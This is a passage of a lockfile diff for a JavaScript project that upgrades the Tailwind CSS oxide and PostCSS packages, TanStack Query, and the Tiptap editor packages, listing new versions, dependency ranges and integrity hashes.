"sha512-Md44bD6veX/PC5iyF8cDVnw4HBIANZepRZZ7a8DQOvkfo5WUBwcp6iAuCUz23u+4SUkhJlD3eL7hNdW8ezd/kA=="], - "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.2.1", "", { "os": "linux", "cpu": "x64" }, "sha512-qMFzxI2YlBOLW5PhblzuSWlWfwLHaneBE0xHzLrBgNtqN6mWfs+qYbhryGSXQjFYB1Dzf5w+LN5qbUTPhW7Y5g=="], + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-tx7us1muwOKAKWao2v/GaafFeQboE6aj88vC6ziN2NCGcRm8gWUhwjzg+YdVB1e4boAtdtma4L43onunI6NS4w=="], - "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.2.1", "", { "os": "linux", "cpu": "x64" }, "sha512-5r1X2FKnCMUPlXTWRYpHdPYUY6a1Ar/t7P24OuiEdEOmms5lyqjDRvVY1yy9Rmioh+AunQ0rWiOTPE8F9A3v5g=="], + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-SJxX60smvHgasZoBy11dX6YRjXJFovwWBoedhbQPOBzgFWBHGB+TVPWB9BxzR7TTxU8FQZAI2AyiNCMzFm8Img=="], - "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.2.1", "", { "dependencies": { "@emnapi/core": "^1.8.1", "@emnapi/runtime": "^1.8.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.1", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-MGFB5cVPvshR85MTJkEvqDUnuNoysrsRxd6vnk1Lf2tbiqNlXpHYZqkqOQalydienEWOHHFyyuTSYRsLfxFJ2Q=="], + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.3", "", { "dependencies": { "@emnapi/core": "^1.11.1", "@emnapi/runtime": "^1.11.1", "@emnapi/wasi-threads": "^1.2.2", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.2", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-jx1+rPhY/5Ympkktd656HBWEBLxP7dH06losBLjjf5vgCODXvi9KhtftWcMIwTFIDqBr7cRnQkdLnAG+IOlGvQ=="], - "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.2.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-YlUEHRHBGnCMh4Nj4GnqQyBtsshUPdiNroZj8VPkvTZSoHsilRCwXcVKnG9kyi0ZFAS/3u+qKHBdDc81SADTRA=="], + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-3rc292Ca2ceK6Ulcc/bAVnTs/3nDtoPhyEKlgPv+yQJQi/JS/AMJlqzxvlDacL1nekbrcf6bTqp/jV4qgnPxNQ=="], - "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.2.1", "", { "os": "win32", "cpu": "x64" }, "sha512-rbO34G5sMWWyrN/idLeVxAZgAKWrn5LiR3/I90Q9MkA67s6T1oB0xtTe+0heoBvHSpbU9Mk7i6uwJnpo4u21XQ=="], + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.3", "", { "os": "win32", "cpu": "x64" }, "sha512-yJ0pwIVc/nYeGoV02WtsN8KYyLQv7kyI2wDnkezyJlGGjkd4QLwDGAwl47YpPJeuI0M0ObaXGSPjvWDPeTPggw=="], - "@tailwindcss/postcss": ["@tailwindcss/postcss@4.2.1", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "@tailwindcss/node": "4.2.1", "@tailwindcss/oxide": "4.2.1", "postcss": "^8.5.6", "tailwindcss": "4.2.1" } }, "sha512-OEwGIBnXnj7zJeonOh6ZG9woofIjGrd2BORfvE5p9USYKDCZoQmfqLcfNiRWoJlRWLdNPn2IgVZuWAOM4iTYMw=="], + "@tailwindcss/postcss": ["@tailwindcss/postcss@4.3.3", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "@tailwindcss/node": "4.3.3", "@tailwindcss/oxide": "4.3.3", "postcss": "^8.5.16", "tailwindcss": "4.3.3" } }, "sha512-JTSZZGQi1AyKirbLN3azmjVzef92tcX7h+iSqPdaeStyFpGpDlKvvpxeOE8njhbUanbRwr3z8DyzhICWnMtQeg=="], - "@tanstack/query-core": ["@tanstack/query-core@5.90.20", "", {}, "sha512-OMD2HLpNouXEfZJWcKeVKUgQ5n+n3A2JFmBaScpNDUqSrQSjiveC7dKMe53uJUg1nDG16ttFPz2xfilz6i2uVg=="], + "@tanstack/query-core": ["@tanstack/query-core@5.104.1", "", {}, "sha512-TiRghcrGkUTE+M4JBxvpPSpBhxvIzQairw+cksrHYGr+2uwC77yW1SY9nYxnYRYOppvucf8rEg6b5byoz4rTpw=="], - "@tanstack/react-query": ["@tanstack/react-query@5.90.21", "", { "dependencies": { "@tanstack/query-core": "5.90.20" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-0Lu6y5t+tvlTJMTO7oh5NSpJfpg/5D41LlThfepTixPYkJ0sE2Jj0m0f6yYqujBwIXlId87e234+MxG3D3g7kg=="], + "@tanstack/react-query": ["@tanstack/react-query@5.104.1", "", { "dependencies": { "@tanstack/query-core": "5.104.1" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-Zz70EgjahNI7aCz8BZxM3vUGU44ycxEAzMuCUjLeA7SVhhOkg3ZgPjPJPvHjs6Rmky/dtmnu1WzjGHNHmhCoZQ=="], - "@tiptap/core": ["@tiptap/core@3.20.1", "", { "peerDependencies": { "@tiptap/pm": "^3.20.1" } }, "sha512-SwkPEWIfaDEZjC8SEIi4kZjqIYUbRgLUHUuQezo5GbphUNC8kM1pi3C3EtoOPtxXrEbY6e4pWEzW54Pcrd+rVA=="], + "@tiptap/core": ["@tiptap/core@3.31.4", "", { "peerDependencies": { "@tiptap/pm": "3.31.4" } }, "sha512-cIVUQYBycighzsk6GbmCef8ZiEDVxoT5EuAe4xg2q9dNkDqCXVqI4YGr9aavCQEiAS4uHiRwqvcsPqJHipFDfg=="], - "@tiptap/extension-blockquote": ["@tiptap/extension-blockquote@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-WzNXk/63PQI2fav4Ta6P0GmYRyu8Gap1pV3VUqaVK829iJ6Zt1T21xayATHEHWMK27VT1GLPJkx9Ycr2jfDyQw=="], + "@tiptap/extension-blockquote": ["@tiptap/extension-blockquote@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-FHnbvCIW0eDKgUUFjmvEB0ax9YUBW7/Unm+38qpuQROvU872yRqhnDtycKT9IKk46jNdjM4A4fAGUbge10CrAA=="], - "@tiptap/extension-bold": ["@tiptap/extension-bold@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-fz++Qv6Rk/Hov0IYG/r7TJ1Y4zWkuGONe0UN5g0KY32NIMg3HeOHicbi4xsNWTm9uAOl3eawWDkezEMrleObMw=="], + "@tiptap/extension-bold": ["@tiptap/extension-bold@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-QX1xoXvO0gz6uVsoLegumqQ4MJXL7lcUDQZ4J7la7LBqiIh4efrCmp2EXbhpr37M/YQL7w8q3g7H/VovSh7xIg=="], - "@tiptap/extension-bubble-menu": ["@tiptap/extension-bubble-menu@3.20.1", "", { "dependencies": { "@floating-ui/dom": "^1.0.0" }, "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-XaPvO6aCoWdFnCBus0s88lnj17NR/OopV79i8Qhgz3WMR0vrsL5zsd45l0lZuu9pSvm5VW47SoxakkJiZC1suw=="], + "@tiptap/extension-bubble-menu": ["@tiptap/extension-bubble-menu@3.31.4", "", { "dependencies": { "@floating-ui/dom": "^1.0.0" }, "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-Ml/yswuys+3QkOMajfXyAGlUKCxEbT3dMyF8vHwQ5mDk9MDm+dqp10It5CrDBkUT/KkVTa6AJI3kb0TXZJZiAA=="], - "@tiptap/extension-bullet-list": ["@tiptap/extension-bullet-list@3.20.1", "", { "peerDependencies": { "@tiptap/extension-list": "^3.20.1" } }, "sha512-mbrlvOZo5OF3vLhp+3fk9KuL/6J/wsN0QxF6ZFRAHzQ9NkJdtdfARcBeBnkWXGN8inB6YxbTGY1/E4lmBkOpOw=="], + "@tiptap/extension-bullet-list": ["@tiptap/extension-bullet-list@3.31.4", "", { "peerDependencies": { "@tiptap/extension-list": "3.31.4" } }, "sha512-gHn1RDR4olCnmKpH+G9x+f8R+iKPNVdLlvbFkIpR/stjabZi7fB4Rr5GiHWsulbtxAjdQrNjnVeNdGM4rBxApw=="], - "@tiptap/extension-code": ["@tiptap/extension-code@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-509DHINIA/Gg+eTG7TEkfsS8RUiPLH5xZNyLRT0A1oaoaJmECKfrV6aAm05IdfTyqDqz6LW5pbnX6DdUC4keug=="], + "@tiptap/extension-code": ["@tiptap/extension-code@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-pzi8GNDs5J1DEoO1HNYiJ5WZpgOZzlc/2VIa77mMpEuD4hZxuK0BQzlF/O6Ps/O5P1lGJT4xS0Yowpzb9mD9RA=="], - "@tiptap/extension-code-block": ["@tiptap/extension-code-block@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-vKejwBq+Nlj4Ybd3qOyDxIQKzYymdNH+8eXkKwGShk2nfLJIxq69DCyGvmuHgipIO1qcYPJ149UNpGN+YGcdmA=="], + "@tiptap/extension-code-block": ["@tiptap/extension-code-block@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-su/B/cfQ1HpiHl6JfJ6wa+RVEptiYsV4dCntE8XQNj2dUcII4y6w6PQbbswOoDrU79uXHsAvpy44215rghG4LA=="], - "@tiptap/extension-document": ["@tiptap/extension-document@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-9vrqdGmRV7bQCSY3NLgu7UhIwgOCDp4sKqMNsoNRX0aZ021QQMTvBQDPkiRkCf7MNsnWrNNnr52PVnULEn3vFQ=="], + "@tiptap/extension-document": ["@tiptap/extension-document@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-vT20u62RWR+BLIyNJ54e24MPUY4zm8VF7tcgJnxQXi7BgVJWcNMtMWWDIkPJ4JNXwfoIznKh3jzYsaYmbCJgQQ=="], - "@tiptap/extension-dropcursor": ["@tiptap/extension-dropcursor@3.20.1", "", { "peerDependencies": { "@tiptap/extensions": "^3.20.1" } }, "sha512-K18L9FX4znn+ViPSIbTLOGcIaXMx/gLNwAPE8wPLwswbHhQqdiY1zzdBw6drgOc1Hicvebo2dIoUlSXOZsOEcw=="], + "@tiptap/extension-dropcursor": ["@tiptap/extension-dropcursor@3.31.4", "", { "peerDependencies": { "@tiptap/extensions": "3.31.4" } }, "sha512-5TbCPCC4RL+QT1NYHjXCYDBHBtVqYOFvFEnk3v98lvXCM2PNL13ofXUfJPuykAVy1OdTAx4DlZOQAD9WKy/IdQ=="], - "@tiptap/extension-floating-menu": ["@tiptap/extension-floating-menu@3.20.1", "", { "peerDependencies": { "@floating-ui/dom": "^1.0.0", "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-BeDC6nfOesIMn5pFuUnkEjOxGv80sOJ8uk1mdt9/3Fkvra8cB9NIYYCVtd6PU8oQFmJ8vFqPrRkUWrG5tbqnOg=="], + "@tiptap/extension-floating-menu": ["@tiptap/extension-floating-menu@3.31.4", "", { "peerDependencies": { "@floating-ui/dom": "^1.0.0", "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-pKzulkDmolpVt7IP9FSPsC5pKbXQ5pyeqkaAYr8cyOVW+KUObpPRIzAuXvEso8PCjWgwJ1f2qyishOEMw8MbfQ=="], - "@tiptap/extension-gapcursor": ["@tiptap/extension-gapcursor@3.20.1", "", { "peerDependencies": { "@tiptap/extensions": "^3.20.1" } }, "sha512-kZOtttV6Ai8VUAgEng3h4WKFbtdSNJ6ps7r0cRPY+FctWhVmgNb/JJwwyC+vSilR7nRENAhrA/Cv/RxVlvLw+g=="], + "@tiptap/extension-gapcursor": ["@tiptap/extension-gapcursor@3.31.4", "", { "peerDependencies": { "@tiptap/extensions": "3.31.4" } }, "sha512-hBogUAepQH6IQUhaePhPWzQ1Oeu+yqlJVMKO06Eue5m36uRy1PZZAQ780pCGT0SC4R5MH2td1N8EUQ7bupQdDA=="], - "@tiptap/extension-hard-break": ["@tiptap/extension-hard-break@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-9sKpmg/IIdlLXimYWUZ3PplIRcehv4Oc7V1miTqlnAthMzjMqigDkjjgte4JZV67RdnDJTQkRw8TklCAU28Emg=="], + "@tiptap/extension-hard-break": ["@tiptap/extension-hard-break@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-oLNajLyUvRMg1qtzFgKGduygTlpaHFB9PU+M+pUWdA4sa1bRnxS2Y++Ao4lHYopJ7nxatLndrYoCIHkotqkPDQ=="], - "@tiptap/extension-heading": ["@tiptap/extension-heading@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-unudyfQP6FxnyWinxvPqe/51DG91J6AaJm666RnAubgYMCgym+33kBftx4j4A6qf+ddWYbD00thMNKOnVLjAEQ=="], + "@tiptap/extension-heading": ["@tiptap/extension-heading@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-KqlSeLathpdxCc3kVHBCA/RkHvb+V7u5vgiSEu1Cv3L70r7F19COMGODav/k1AGYBgEXKL6lM9cy8cloE5/28g=="], - "@tiptap/extension-horizontal-rule": ["@tiptap/extension-horizontal-rule@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-rjFKFXNntdl0jay8oIGFvvykHlpyQTLmrH3Ag2fj3i8yh6MVvqhtaDomYQbw5sxECd5hBkL+T4n2d2DRuVw/QQ=="], + "@tiptap/extension-horizontal-rule": ["@tiptap/extension-horizontal-rule@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-ws0Kh8kfHL7ESILSXj0HJAXs8G10ewlW1sedXKm8dm0op9L8il+xl8bEJVoqG/jMf77900Fc2CaQldcCGRpF1g=="], - "@tiptap/extension-italic": ["@tiptap/extension-italic@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-ZYRX13Kt8tR8JOzSXirH3pRpi8x30o7LHxZY58uXBdUvr3tFzOkh03qbN523+diidSVeHP/aMd/+IrplHRkQug=="], + "@tiptap/extension-italic": ["@tiptap/extension-italic@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-pftTQBPYZocNDAj/u6OyDIp7YxmN0+N895cQPogJQ6qMHdLiRhzgawiEewJkniyN1w8k3Wx/Etp8pTKrxaOOBQ=="], - "@tiptap/extension-link": ["@tiptap/extension-link@3.20.1", "", { "dependencies": { "linkifyjs": "^4.3.2" }, "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-oYTTIgsQMqpkSnJAuAc+UtIKMuI4lv9e1y4LfI1iYm6NkEUHhONppU59smhxHLzb3Ww7YpDffbp5IgDTAiJztA=="], + "@tiptap/extension-link": ["@tiptap/extension-link@3.31.4", "", { "dependencies": { "linkifyjs": "^4.3.3" }, "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-LLxW3qfeL9gvDdMPVdxYFYZ0zZSjsoIDhOqjJ5U2UfaK3U2iwkKTBgV2qT+FWf3uUHmBRjBZ08q3dRPmWBAD5g=="], - "@tiptap/extension-list": ["@tiptap/extension-list@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-euBRAn0mkV7R2VEE+AuOt3R0j9RHEMFXamPFmtvTo8IInxDClusrm6mJoDjS8gCGAXsQCRiAe1SCQBPgGbOOwg=="], + "@tiptap/extension-list": ["@tiptap/extension-list@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-Wd4YRYxOdf+TtF33/QsRo1RK1CecVxjYGjUBIKNGHAywfh8tghgV4YOUCiV1iJqYt2IBs+RWlIqTmdIPzBrd4A=="], - "@tiptap/extension-list-item": ["@tiptap/extension-list-item@3.20.1", "", { "peerDependencies": { "@tiptap/extension-list": "^3.20.1" } }, "sha512-tzgnyTW82lYJkUnadYbatwkI9dLz/OWRSWuFpQPRje/ItmFMWuQ9c9NDD8qLbXPdEYnvrgSAA+ipCD/1G0qA0Q=="], + "@tiptap/extension-list-item": ["@tiptap/extension-list-item@3.31.4", "", { "peerDependencies": { "@tiptap/extension-list": "3.31.4" } }, "sha512-ao8XAPvhOrtGFILs+fKtOM91omDSpUC8X19m44gbaq5xJDVpIMZ0rP+NAVUS72G7LskhcHa0bu/Pm022bUVjVw=="], - "@tiptap/extension-list-keymap": ["@tiptap/extension-list-keymap@3.20.1", "", { "peerDependencies": { "@tiptap/extension-list": "^3.20.1" } }, "sha512-Dr0xsQKx0XPOgDg7xqoWwfv7FFwZ3WeF3eOjqh3rDXlNHMj1v+UW5cj1HLphrsAZHTrVTn2C+VWPJkMZrSbpvQ=="], + "@tiptap/extension-list-keymap": ["@tiptap/extension-list-keymap@3.31.4", "", { "peerDependencies": { "@tiptap/extension-list": "3.31.4" } }, "sha512-etdkl/YnYfwtALDxecJ+4WYgJAez1fn1vzzZqJklZBpgqiZtny3NxpvWS7/JhsltNG84Wo/oovpfJgVmzhddrw=="], - "@tiptap/extension-ordered-list": ["@tiptap/extension-ordered-list@3.20.1", "", { "peerDependencies": { "@tiptap/extension-list": "^3.20.1" } }, "sha512-Y+3Ad7OwAdagqdYwCnbqf7/to5ypD4NnUNHA0TXRCs7cAHRA8AdgPoIcGFpaaSpV86oosNU3yfeJouYeroffog=="], + "@tiptap/extension-ordered-list": ["@tiptap/extension-ordered-list@3.31.4", "", { "peerDependencies": { "@tiptap/extension-list": "3.31.4" } }, "sha512-UNWyF+Dhm08znszIMnT8Y2kJ1lvtiCvUGs1aG7m9cPHxDa7VycWnOqdtXWkc+6xRLNiC0zgWCFWgLLHduV8pRQ=="], - "@tiptap/extension-paragraph": ["@tiptap/extension-paragraph@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-QFrAtXNyv7JSnomMQc1nx5AnG9mMznfbYJAbdOQYVdbLtAzTfiTuNPNbQrufy5ZGtGaHxDCoaygu2QEfzaKG+Q=="], + "@tiptap/extension-paragraph": ["@tiptap/extension-paragraph@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-WZlBgw+XVKXerRlmEsoQ7x1PwSU+dh3X+b70+ViZsLebdfsmmYBIaNDrvIGwG9UQr5eLnddJnZplMSTI2YKs+g=="], - "@tiptap/extension-placeholder": ["@tiptap/extension-placeholder@3.20.1", "", { "peerDependencies": { "@tiptap/extensions": "^3.20.1" } }, "sha512-k+jfbCugYGuIFBdojukgEopGazIMOgHrw46FnyN2X/6ICOIjQP2rh2ObslrsUOsJYoEevxCsNF9hZl1HvWX66g=="], + "@tiptap/extension-placeholder": ["@tiptap/extension-placeholder@3.31.4", "", { "peerDependencies": { "@tiptap/extensions": "3.31.4" } }, "sha512-3SoJopaOzaA9IZHSk9ZXHiO6ib8ErPh7ssRh3bIaxfD+BqRyXcm4hV4yfFXTqrDCnl5FE+DbBRGmeVAVkDko3g=="], - "@tiptap/extension-strike": ["@tiptap/extension-strike@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-EYgyma10lpsY+rwbVQL9u+gA7hBlKLSMFH7Zgd37FSxukOjr+HE8iKPQQ+SwbGejyDsPlLT8Z5Jnuxo5Ng90Pg=="], + "@tiptap/extension-strike": ["@tiptap/extension-strike@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-4MBr63TJIMqxCjE+gAPdlY1IdELgvbAP516K3Ntn/BkcpEbEoPMEYVz+XTxULyHQEuARDO6jsXPPxRXpA74jaw=="], - "@tiptap/extension-text": ["@tiptap/extension-text@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-7PlIbYW8UenV6NPOXHmv8IcmPGlGx6HFq66RmkJAOJRPXPkTLAiX0N8rQtzUJ6jDEHqoJpaHFEHJw0xzW1yF+A=="], + "@tiptap/extension-text": ["@tiptap/extension-text@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-WL2ZRpFksgQcXJN05/UQH09YCH9LlhdLrSEcviASvEH/aAfsKiJlDrouN8PET+YAWK/F5xFc5/Q1z0xj+I23jw=="], - "@tiptap/extension-underline": ["@tiptap/extension-underline@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1" } }, "sha512-fmHvDKzwCgnZUwRreq8tYkb1YyEwgzZ6QQkAQ0CsCRtvRMqzerr3Duz0Als4i8voZTuGDEL3VR6nAJbLAb/wPg=="], + "@tiptap/extension-underline": ["@tiptap/extension-underline@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4" } }, "sha512-0iFGPIqmqGkCrOFh1OPo7Dzv5s86dVN3bZaugsz0jK04otkb8bn04ZDKP2/6Wq+lcK0M9DfJ0QqfW5hC2nBZxQ=="], - "@tiptap/extensions": ["@tiptap/extensions@3.20.1", "", { "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-JRc/v+OBH0qLTdvQ7HvHWTxGJH73QOf1MC0R8NhOX2QnAbg2mPFv1h+FjGa2gfLGuCXBdWQomjekWkUKbC4e5A=="], + "@tiptap/extensions": ["@tiptap/extensions@3.31.4", "", { "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-nIupIne/sHpV2Kw1M4MOmr4+G454KI8BXM5+LWKOU2EpzfALZWVSy7koF9lVRna4Zp5Gv8hfg5Z8kvmrYQvhkw=="], - "@tiptap/pm": ["@tiptap/pm@3.20.1", "", { "dependencies": { "prosemirror-changeset": "^2.3.0", "prosemirror-collab": "^1.3.1", "prosemirror-commands": "^1.6.2", "prosemirror-dropcursor": "^1.8.1", "prosemirror-gapcursor": "^1.3.2", "prosemirror-history": "^1.4.1", "prosemirror-inputrules": "^1.4.0", "prosemirror-keymap": "^1.2.2", "prosemirror-markdown": "^1.13.1", "prosemirror-menu": "^1.2.4", "prosemirror-model": "^1.24.1", "prosemirror-schema-basic": "^1.2.3", "prosemirror-schema-list": "^1.5.0", "prosemirror-state": "^1.4.3", "prosemirror-tables": "^1.6.4", "prosemirror-trailing-node": "^3.0.0", "prosemirror-transform": "^1.10.2", "prosemirror-view": "^1.38.1" } }, "sha512-6kCiGLvpES4AxcEuOhb7HR7/xIeJWMjZlb6J7e8zpiIh5BoQc7NoRdctsnmFEjZvC19bIasccshHQ7H2zchWqw=="], + "@tiptap/pm": ["@tiptap/pm@3.31.4", "", { "dependencies": { "prosemirror-changeset": "^2.4.1", "prosemirror-commands": "^1.7.1", "prosemirror-dropcursor": "^1.8.2", "prosemirror-gapcursor": "^1.4.1", "prosemirror-history": "^1.5.0", "prosemirror-inputrules": "^1.5.1", "prosemirror-keymap": "^1.2.3", "prosemirror-model": "^1.25.11", "prosemirror-schema-list": "^1.5.1", "prosemirror-state": "^1.4.4", "prosemirror-tables": "^1.8.5", "prosemirror-transform": "^1.12.0", "prosemirror-view": "^1.42.3" } }, "sha512-x7dwth79cQp4QGae66/RJqMDJQv0+n7b7dD7cyFQBWqzPFLJxN/4paHY4qbWedZjNLhRyIOAD9a5q4AYM1zmPA=="], - "@tiptap/react": ["@tiptap/react@3.20.1", "", { "dependencies": { "@types/use-sync-external-store": "^0.0.6", "fast-equals": "^5.3.3", "use-sync-external-store": "^1.4.0" }, "optionalDependencies": { "@tiptap/extension-bubble-menu": "^3.20.1", "@tiptap/extension-floating-menu": "^3.20.1" }, "peerDependencies": { "@tiptap/core": "^3.20.1", "@tiptap/pm": "^3.20.1", "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", "@types/react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-UH1NpVpCaZBGB3Yr5N6aTS+rsCMDl9wHfrt/w+6+Gz4KHFZ2OILA82hELxZzhNc1Lmjz8vgCArKcsYql9gbzJA=="], + "@tiptap/react": ["@tiptap/react@3.31.4", "", { "dependencies": { "@types/use-sync-external-store": "^0.0.6", "fast-equals": "^5.3.3", "use-sync-external-store": "^1.4.0" }, "optionalDependencies": { "@tiptap/extension-bubble-menu": "3.31.4", "@tiptap/extension-floating-menu": "3.31.4" }, "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4", "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", "@types/react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-mBvvXgdPhMinT1NPfwHvFK1dFdMXHVWMSeNn0IPj7/zV0XBmOnASkEOwoIvl8NluKYEtpZBE1yA+6pN2enLa5g=="], - "@tiptap/starter-kit": ["@tiptap/starter-kit@3.20.1", "", { "dependencies": { "@tiptap/core": "^3.20.1", "@tiptap/extension-blockquote": "^3.20.1", "@tiptap/extension-bold": "^3.20.1", "@tiptap/extension-bullet-list": "^3.20.1", "@tiptap/extension-code": "^3.20.1", "@tiptap/extension-code-block": "^3.20.1", "@tiptap/extension-document": "^3.20.1", "@tiptap/extension-dropcursor": "^3.20.1", "@tiptap/extension-gapcursor": "^3.20.1", "@tiptap/extension-hard-break": "^3.20.1", "@tiptap/extension-heading": "^3.20.1", "@tiptap/extension-horizontal-rule": "^3.20.1", "@tiptap/extension-italic": "^3.20.1", "@tiptap/extension-link": "^3.20.1", "@tiptap/extension-list": "^3.20.1", "@tiptap/extension-list-item": "^3.20.1", "@tiptap/extension-list-keymap": "^3.20.1", "@tiptap/extension-ordered-list": "^3.20.1", "@tiptap/extension-paragraph": "^3.20.1", "@tiptap/extension-strike": "^3.20.1", "@tiptap/extension-text": "^3.20.1", "@tiptap/extension-underline": "^3.20.1", "@tiptap/extensions": "^3.20.1", "@tiptap/pm": "^3.20.1" } }, "sha512-opqWxL/4OTEiqmVC0wsU4o3JhAf6LycJ2G/gRIZVAIFLljI9uHfpPMTFGxZ5w9IVVJaP5PJysfwW/635kKqkrw=="], + "@tiptap/starter-kit": ["@tiptap/starter-kit@3.31.4", "", { "dependencies": { "@tiptap/core": "3.31.4", "@tiptap/extension-blockquote": "3.31.4", "@tiptap/extension-bold": "3.31.4", "@tiptap/extension-bullet-list": "3.31.4", "@tiptap/extension-code": "3.31.4", "@tiptap/extension-code-block": "3.31.4", "@tiptap/extension-document": "3.31.4", "@tiptap/extension-dropcursor": "3.31.4", "@tiptap/extension-gapcursor": "3.31.4", "@tiptap/extension-hard-break": "3.31.4", "@tiptap/extension-heading": "3.31.4", "@tiptap/extension-horizontal-rule": "3.31.4", "@tiptap/extension-italic": "3.31.4", "@tiptap/extension-link": "3.31.4", "@tiptap/extension-list": "3.31.4", "@tiptap/extension-list-item": "3.31.4", "@tiptap/extension-list-keymap": "3.31.4", "@tiptap/extension-ordered-list": "3.31.4", "@tiptap/extension-paragraph": "3.31.4", "@tiptap/extension-strike": "3.31.4", "@tiptap/extension-text": "3.31.4", "@tiptap/extension-underline": "3.31.4", "@tiptap/extensions": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-u7HIJ9vK6kFe4S4J2CIcDLrhRZzoTMSyU0XxjQ6lUNF7pWW3rMi//pvi8RcsZmxGjyb8CpXAqYgNl7f9WyaUeA=="], - "@tiptap/suggestion": ["@tiptap/suggestion@3.21.0", "", { "peerDependencies": { "@tiptap/core": "^3.21.0", "@tiptap/pm": "^3.21.0" } }, "sha512-ShgbaH2hbCRLV+AaVuSx7a/nzPOSdUeW0TNeuxZfWim62MBcx33qtllja1zOoY2tgGXokEihuzFODx83IyvGfQ=="], + "@tiptap/suggestion": ["@tiptap/suggestion@3.31.4", "", { "peerDependencies": { "@floating-ui/dom": "^1.0.0", "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } }, "sha512-J9WWMQDAzZOlF9VSdLohpxgrwlB1NscqvNhOPoS3WjwrzQqLj+FAvcchfJQcnybF5mYOtftFZexpOzOt1MqjUA=="], "@tokenizer/inflate": ["@tokenizer/inflate@0.4.1", "", { 